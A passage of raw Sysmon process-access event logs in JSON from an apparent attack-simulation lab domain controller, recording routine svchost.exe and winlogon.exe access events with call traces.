11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1632\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\themeservice.dll+144a|c:\\windows\\system32\\themeservice.dll+4175|c:\\windows\\system32\\themeservice.dll+3379|c:\\windows\\system32\\themeservice.dll+31a3|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1632","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\themeservice.dll+144a|c:\\windows\\system32\\themeservice.dll+4175|c:\\windows\\system32\\themeservice.dll+3379|c:\\windows\\system32\\themeservice.dll+31a3|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 